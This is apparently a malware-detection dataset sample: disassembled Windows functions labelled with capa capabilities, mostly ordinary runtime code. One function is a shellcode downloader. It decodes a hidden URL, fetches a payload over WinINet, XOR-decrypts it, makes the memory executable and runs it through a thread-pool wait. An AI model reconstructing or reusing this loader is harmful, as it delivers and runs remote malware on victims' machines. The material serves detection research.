joyce8/EMBER2024-capa huggingface dataset:
Function at 0x453e00
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x453eaf
push rbp
mov rbp, rsp
sub rsp, 0x58
mov qword [rsp + 0x70], rbx
lea rdx, [rsp + 0x68]
mov qword [rsp + 8], 0
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
movups xmmword [rsp + 0x48], xmm15
lea rsi, [0x00453f00]
mov qword [rsp + 0x10], rsi
mov rsi, qword [rsp + 0x60]
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdx
mov rdx, r14
mov qword [rsp + 0x28], rdx
lea rdx, [rsp + 8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x40], rbx
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call fcn.0045b380
xorps xmm15, xmm15
mov r14, qword [0x00587528]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 8]
add rsp, 0x58
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.0045b4c0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
nop dword [rax]
jmp fcn.00453e00
Function at 0x45d2a0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4039a3
push rbp
mov rbp, rsp
sub rsp, 0x18
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
mov rax, rdx
call fcn.00409400
add rsp, 0x18
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045b4c0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp 0x403980
cmp byte [0x00587308], 0
je 0x45d2b5
mov rcx, qword [rax + 8]
mov rax, qword [rax]
jmp 0x45a500
jmp 0x403980

Function at 0x45d2c0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
nop
mov eax, dword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x005875c0]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d124b
mul rcx
xor rax, rdx
nop
nop
ret
cmp byte [0x00587308], 0
je 0x45d2f5
movq xmm0, rbx
pinsrd xmm0, dword [rax], 2
aesenc xmm0, xmmword [0x005878a0]
aesenc xmm0, xmmword [0x005878b0]
aesenc xmm0, xmmword [0x005878c0]
movq rax, xmm0
ret
jmp 0x409620

Function at 0x45d300
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
nop
mov rax, qword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x005875c0]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d1247
mul rcx
xor rax, rdx
nop
nop
ret
cmp byte [0x00587308], 0
je 0x45d336
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x005878a0]
aesenc xmm0, xmmword [0x005878b0]
aesenc xmm0, xmmword [0x005878c0]
movq rax, xmm0
ret
jmp 0x409680

Function at 0x45f000
Capabilities:
Allocate thread local storage

Disassembly:
push rbp
mov rbp, rsp
mov rax, rsp
and rsp, 0xfffffffffffffff0
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rax, qword [sym.imp.kernel32.dll_TlsAlloc]
call rax
mov rsp, qword [rsp + 0x20]
mov rcx, rax
cmp rcx, 0x40
jb 0x45f034
mov rcx, 0x28
jmp 0x45f03f
shl rcx, 3
add rcx, 0x1480
mov qword [0x00587528], rcx
pop rbp
ret
Function at 0x466440
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x46650a
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x58], rax
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0
call fcn.004038e0
xorps xmm15, xmm15
mov r14, qword [0x00587528]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0xffffffffffffffff
jne 0x4664ef
mov rcx, qword [rsp + 0x60]
lea rdx, [rcx + 1]
mov qword [rsp + 0x40], rdx
lea rax, [0x0048daa0]
xor ebx, ebx
mov rcx, rdx
call fcn.00445a40
mov rbx, qword [rsp + 0x60]
mov rcx, rax
xor edi, edi
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
nop dword [rax]
call fcn.004667a0
inc rbx
cmp rcx, rbx
jae 0x4664de
mov edi, 1
lea rsi, [0x0048daa0]
call fcn.00445b20
mov word [rax + rbx*2 - 2], 0
xor edi, edi
xor esi, esi
add rsp, 0x48
pop rbp
ret
xor eax, eax
xor ebx, ebx
mov rcx, rbx
lea rdi, [0x004c1ef8]
lea rsi, [0x004c18c8]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045b4c0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00466440
Function at 0x140001480
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x60
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov rbx, rdx
mov rdi, rcx
xor esi, esi
mov dword [rax + 0x20], esi
mov qword [rcx], rsi
mov qword [rcx + 8], rsi
mov qword [rcx + 0x10], rsi
mov dword [rax + 0x20], 1
mov dword [rax - 0x68], esi
xor r9d, r9d
xor r8d, r8d
lea edx, [rsi + 1]
lea rcx, str.tiantian
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r12, rax
test rax, rax
je 0x1400015a5
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbp, rax
test rax, rax
je 0x14000159c
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rsi
lea rcx, [rsp + 0x38]
call fcn.1400017d0
nop
mov dword [rsp + 0xa0], esi
mov rsi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
sub rsi, rbx
lea r9, [rsp + 0xa0]
mov r8d, esi
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000156c
mov eax, dword [rsp + 0xa0]
test eax, eax
je 0x14000156c
lea r9, [rbx + rax]
mov r8, rbx
mov rdx, qword [rdi + 8]
mov rcx, rdi
call fcn.1400019b0
jmp 0x14000157b
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x14000157b
cmp eax, 0x12
jne 0x140001585
cmp dword [rsp + 0xa0], 0
ja 0x140001531
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
test rbx, rbx
je 0x14000159c
mov rcx, rbx
call fcn.140002440
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rax, rdi
add rsp, 0x60
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400015c0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Encode data using xor
Execute shellcode via createthreadpoolwait

Disassembly:
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
mov eax, 0x68
mov ecx, 0x1f4
mov qword [rsp + 0xb0], rdi
mov word [rbp + 0xf], ax
mov eax, 0x6c
mov dword [rbp + 0x11], 0x740074
mov word [rbp + 0x21], ax
mov eax, 0x6b
mov dword [rbp + 0x15], 0x3a0070
mov word [rbp + 0x27], ax
mov eax, 0x63
mov dword [rbp + 0x19], 0x2f002f
mov word [rbp + 0x2d], ax
mov eax, 0x33
mov dword [rbp + 0x1d], 0x73006f
mov word [rbp + 0x33], ax
mov eax, 0x36
mov dword [rbp + 0x23], 0x6a0076
mov word [rbp + 0x35], ax
mov eax, 0x30
mov dword [rbp + 0x29], 0x2e006d
mov dword [rbp + 0x2f], 0x2f006e
mov dword [rbp + 0x39], 0x730064
mov dword [rbp + 0x3d], 0x2e0062
mov word [rbp + 0x37], ax
mov dword [rbp + 0x41], 0x70006a
xor edi, edi
mov dword [rbp + 0x45], 0x67
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0xf]
lea rcx, [rbp - 0x11]
call fcn.140001480
mov r11, qword [rbp - 0x11]
mov rdx, qword [rbp - 9]
cmp rdx, r11
je 0x14000177b
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xa8], rsi
mov r10d, edi
lea rsi, str.hrsgdsb
mov r9d, edi
mov ebx, edi
nop dword [rax]
movsx ecx, byte [r9 + rsi]
mov eax, 0x4ac525d3
inc r9
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0x92492493
imul edx, edx, 0x6d9
sub ecx, edx
imul r10d
add cl, 0x4f
xor byte [rbx + r11], cl
mov r11, qword [rbp - 0x11]
add edx, r10d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 7
cmp r10d, edx
mov rdx, qword [rbp - 9]
cmove r9, rdi
inc r10d
mov r8, rdx
sub r8, r11
movsxd rax, r10d
inc rbx
cmp rax, r8
jb 0x1400016b0
mov rsi, qword [rsp + 0xa8]
lea r9, [rbp - 0x19]
sub rdx, r11
mov r8d, 0x40
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov rcx, qword [rbp - 0x11]
xor r8d, r8d
xor edx, edx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolWait]
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
or edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r11, qword [rbp - 0x11]
mov rbx, qword [rsp + 0xa0]
mov rdi, qword [rsp + 0xb0]
test r11, r11
je 0x140001790
mov rcx, r11
call fcn.140002440
xor eax, eax
add rsp, 0x90
pop rbp
ret

Function at 0x140003de0
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140003c50
Function at 0x140006e50
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140010f70]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.14000356c
xor ebx, ebx
cmp qword [0x140012038], rbx
mov rdi, rax
jne 0x140006f63
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14000703a
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000703a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140012038], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140012040], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140012048], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140012058], rax
test rax, rax
je 0x140006f5a
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140012050], rax
jmp 0x140006f6a
mov rax, qword [0x140012050]
jmp 0x140006f71
mov rax, qword [0x140012050]
mov r11, qword [0x140012058]
cmp rax, rdi
je 0x140006fd8
cmp r11, rdi
je 0x140006fd8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140012058]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140006fd8
test rax, rax
je 0x140006fd8
call rsi
test rax, rax
je 0x140006fd2
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140006fd2
test byte [rsp + 0x40], 1
jne 0x140006fd8
bts ebp, 0x15
jmp 0x140007018
mov rcx, qword [0x140012040]
cmp rcx, rdi
je 0x140007018
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140007018
call rax
mov rbx, rax
test rax, rax
je 0x140007018
mov rcx, qword [0x140012048]
cmp rcx, rdi
je 0x140007018
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140007018
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140012038]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000703a
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x14000703c
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140005b70
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140007387
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140010f70]
jne 0x140005b8a
rol rcx, 0x10
test cx, 0xffff
jne 0x140005b86
repz ret
ror rcx, 0x10
jmp 0x1400072e0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140012100]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x1400121f8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140007365
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140012100]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140007387
mov rax, qword [rsp + 0x88]
mov qword [0x1400121f8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140012198], rax
mov rax, qword [0x1400121f8]
mov qword [0x140012070], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140012180], rax
mov dword [0x140012060], 0xc0000409
mov dword [0x140012064], 1
mov rax, qword [0x140010f70]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140010f78]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1400120f8], eax
mov ecx, 1
call fcn.140006e48
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14000d6b8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400120f8], 0
jne 0x14000740e
mov ecx, 1
call fcn.140006e48
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1400239ed
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
push rbp
push r15
mov rax, SafeArrayPutElement
sub rsp, 8
mov qword [rsp], 0
dec rax
jne 0x140023a01
sub rsp, 0x28
call fcn.1400470c0
mov rdx, qword [rsp + 0xe0]
lea rcx, [rsp + 0x28]
sub rsp, 0x10
call fcn.140047130
add rsp, 0x10
lea rax, [rsp + 0x30]
lea rax, [rsp + 0x98]
lea rbp, [rsp + 0x30]
mov dword [rbp], 0x68
mov dword [rbp + 0x3c], 1
mov r15, qword [rsp + 0xe8]
and r15, 2
and r15, r15
je 0x140023a73
lea rbp, [rsp + 0x30]
mov word [rbp + 0x40], 0
jmp 0x140023a7e
lea rbp, [rsp + 0x30]
mov word [rbp + 0x40], 1
lea rax, [rsp + 0x98]
mov rax, rax
push rax
lea rax, [rsp + 0x38]
mov rax, rax
push rax
push 0
push 0
push 0
push 0
push 0
push 0
push qword [rsp + 0x68]
push 0
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call sub.KERNEL32.dll_CreateProcessW
add rsp, 0x50
mov qword [rsp + 0xb0], rax
cmp qword [rsp + 0xb0], 0
je 0x140023b4d
mov r15, qword [rsp + 0xe8]
and r15, 1
and r15, r15
je 0x140023b3f
lea rbp, [rsp + 0x98]
push qword [rbp + 8]
pop rax
mov qword [rsp + 0xb8], rax
push 1
pop rcx
call fcn.140032bf8
lea rax, [rsp + 0xc0]
mov rax, rax
push rax
push qword [rsp + 0xc0]
pop rcx
pop rdx
call sub.KERNEL32.dll_GetExitCodeThread
movsxd r15, dword [rsp + 0xc0]
cmp r15, 0x103
je 0x140023b3d
jmp 0x140023b3f
jmp 0x140023b05
lea rbp, [rsp + 0x98]
mov rax, qword [rbp]
jmp 0x140023b50
xor rax, rax
push rax
mov rcx, qword [rsp + 0x30]
sub rsp, 0x28
call fcn.1400471d0
add rsp, 0x28
pop rax
add rsp, 0xc8
pop r15
pop rbp
ret

Function at 0x140023f48
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rcx
call sub.KERNEL32.dll_GetLastError
mov qword [rsp + 0x38], rax
mov rcx, qword [0x1403f05b0]
call sub.KERNEL32.dll_TlsGetValue
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x10], rcx
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret
Function at 0x14002512c
Capabilities:
Get file size
Read file on windows

Disassembly:
or r8d, 0xffffffff
jmp 0x140025138
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
xor r13d, r13d
mov ebp, r8d
mov rax, rdx
mov r14, rcx
mov ebx, r13d
test rdx, rdx
je 0x14002533d
cmp word [rdx], r13w
je 0x14002533d
mov qword [r11 - 0x38], r13
lea r15d, [r13 + 1]
xor r9d, r9d
mov edx, 0x80000000
mov rcx, rax
mov r8d, r15d
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x140025338
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
movsxd rsi, eax
test eax, eax
jle 0x14002532f
mov ecx, ebp
call fcn.140025774
mov rdi, rax
test rax, rax
je 0x14002532f
mov rcx, r14
lea edx, [r13 + 2]
cmp ebp, 0xffffffff
je 0x1400251e6
mov edx, ebp
call fcn.140025d98
mov rbx, rax
test rax, rax
je 0x140025327
mov qword [rax + 0x40], rdi
mov qword [rbx + 0x60], r13
mov dword [rbx + 0x68], r13d
mov dword [rbx + 0x20], r13d
cmp r14, 0xffffffffffffffff
lea r8, [rsi + 0x10]
cmove r14, rax
xor edx, edx
mov qword [rax + 0x48], r14
mov rax, qword [rax + 8]
mov qword [rbx + 0x58], rax
mov rcx, qword [0x1403f4fc0]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx + 0x38], rax
test rax, rax
je 0x140025250
lea ecx, [rsi + 0x10]
mov dword [rax + 8], ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], r13
mov rax, qword [rbx + 0x38]
add rax, 0x10
mov qword [rbx + 0x70], rax
cmp ebp, 0xffffffff
je 0x140025259
mov dword [rbx + 0x50], r15d
mov rdx, rbx
mov rcx, rdi
call fcn.14004f640
mov ebp, r13d
mov r14d, 0x4000
test esi, esi
jle 0x140025323
lea eax, [r14 + rbp]
cmp eax, esi
jle 0x140025283
mov r14d, esi
sub r14d, ebp
mov edx, r14d
mov rcx, rdi
call fcn.14004e990
mov r15, rax
test rax, rax
je 0x140025311
lea r9, [rsp + 0x78]
mov r8d, r14d
mov rdx, rax
mov rcx, r12
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [rsp + 0x78]
cmp edx, r14d
jne 0x1400252fd
add ebp, edx
cmp dword [rbx + 0x20], r13d
jne 0x1400252cf
mov rcx, r15
call fcn.140025850
mov dword [rbx + 0x20], eax
mov edx, dword [rsp + 0x78]
mov rcx, rdi
cmp ebp, esi
jl 0x1400252de
mov r8d, 1
jmp 0x1400252e1
xor r8d, r8d
call fcn.14004ee80
test eax, eax
je 0x1400252f0
cmp ebp, esi
jl 0x140025275
jmp 0x140025323
mov rcx, rdi
call fcn.14004ecc0
mov dword [rbx + 0x24], eax
jmp 0x140025318
lea rax, [0x1400b5ed8]
mov dword [rbx + 0x24], 0x100
mov qword [rbx + 0x30], rax
jmp 0x140025323
mov dword [rbx + 0x24], 1
mov rdx, rdi
mov rcx, rbx
call fcn.14002594c
mov qword [rbx + 0x40], r13
mov rcx, rdi
call fcn.14004f010
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rbx
jmp 0x14002533f
xor eax, eax
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140025138
Capabilities:
Get file size
Read file on windows

Disassembly:
or r8d, 0xffffffff
jmp 0x140025138
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
xor r13d, r13d
mov ebp, r8d
mov rax, rdx
mov r14, rcx
mov ebx, r13d
test rdx, rdx
je 0x14002533d
cmp word [rdx], r13w
je 0x14002533d
mov qword [r11 - 0x38], r13
lea r15d, [r13 + 1]
xor r9d, r9d
mov edx, 0x80000000
mov rcx, rax
mov r8d, r15d
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x140025338
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
movsxd rsi, eax
test eax, eax
jle 0x14002532f
mov ecx, ebp
call fcn.140025774
mov rdi, rax
test rax, rax
je 0x14002532f
mov rcx, r14
lea edx, [r13 + 2]
cmp ebp, 0xffffffff
je 0x1400251e6
mov edx, ebp
call fcn.140025d98
mov rbx, rax
test rax, rax
je 0x140025327
mov qword [rax + 0x40], rdi
mov qword [rbx + 0x60], r13
mov dword [rbx + 0x68], r13d
mov dword [rbx + 0x20], r13d
cmp r14, 0xffffffffffffffff
lea r8, [rsi + 0x10]
cmove r14, rax
xor edx, edx
mov qword [rax + 0x48], r14
mov rax, qword [rax + 8]
mov qword [rbx + 0x58], rax
mov rcx, qword [0x1403f4fc0]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx + 0x38], rax
test rax, rax
je 0x140025250
lea ecx, [rsi + 0x10]
mov dword [rax + 8], ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], r13
mov rax, qword [rbx + 0x38]
add rax, 0x10
mov qword [rbx + 0x70], rax
cmp ebp, 0xffffffff
je 0x140025259
mov dword [rbx + 0x50], r15d
mov rdx, rbx
mov rcx, rdi
call fcn.14004f640
mov ebp, r13d
mov r14d, 0x4000
test esi, esi
jle 0x140025323
lea eax, [r14 + rbp]
cmp eax, esi
jle 0x140025283
mov r14d, esi
sub r14d, ebp
mov edx, r14d
mov rcx, rdi
call fcn.14004e990
mov r15, rax
test rax, rax
je 0x140025311
lea r9, [rsp + 0x78]
mov r8d, r14d
mov rdx, rax
mov rcx, r12
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [rsp + 0x78]
cmp edx, r14d
jne 0x1400252fd
add ebp, edx
cmp dword [rbx + 0x20], r13d
jne 0x1400252cf
mov rcx, r15
call fcn.140025850
mov dword [rbx + 0x20], eax
mov edx, dword [rsp + 0x78]
mov rcx, rdi
cmp ebp, esi
jl 0x1400252de
mov r8d, 1
jmp 0x1400252e1
xor r8d, r8d
call fcn.14004ee80
test eax, eax
je 0x1400252f0
cmp ebp, esi
jl 0x140025275
jmp 0x140025323
mov rcx, rdi
call fcn.14004ecc0
mov dword [rbx + 0x24], eax
jmp 0x140025318
lea rax, [0x1400b5ed8]
mov dword [rbx + 0x24], 0x100
mov qword [rbx + 0x30], rax
jmp 0x140025323
mov dword [rbx + 0x24], 1
mov rdx, rdi
mov rcx, rbx
call fcn.14002594c
mov qword [rbx + 0x40], r13
mov rcx, rdi
call fcn.14004f010
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rbx
jmp 0x14002533f
xor eax, eax
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1400265e4
Capabilities:
Enumerate gui resources

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
test ecx, ecx
je 0x14002665b
movsxd rdx, ecx
lea rcx, [0x140026540]
call qword [sym.imp.USER32.dll_EnumWindows]
mov rbx, qword [0x1403f59e8]
test rbx, rbx
je 0x1400266ce
mov rdi, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rbx + 0x10], eax
jne 0x140026651
cmp byte [rbx + 0x20], 0
je 0x140026651
mov rcx, qword [rbx + 0x18]
xor r9d, r9d
mov dword [rsp + 0x30], 3
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea rdx, [r9 - 2]
xor r8d, r8d
call qword [sym.imp.USER32.dll_SetWindowPos]
mov rbx, rdi
test rdi, rdi
jne 0x140026617
jmp 0x1400266ce
mov rbx, qword [0x1403f59e8]
test rbx, rbx
je 0x1400266ce
mov rdi, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rbx + 0x10], eax
jne 0x1400266c6
cmp byte [rbx + 0x21], 0
je 0x14002668a
mov rcx, qword [rbx + 0x18]
mov edx, 1
call qword [sym.imp.USER32.dll_EnableWindow]
cmp byte [rbx + 0x20], 0
je 0x1400266b6
mov rcx, qword [rbx + 0x18]
mov dword [rsp + 0x30], 3
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
or rdx, 0xffffffffffffffff
call qword [sym.imp.USER32.dll_SetWindowPos]
lea rdx, [rbx + 0x10]
lea rcx, [0x1403f59e8]
call fcn.140046bf8
mov rbx, rdi
test rdi, rdi
jne 0x140026667
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret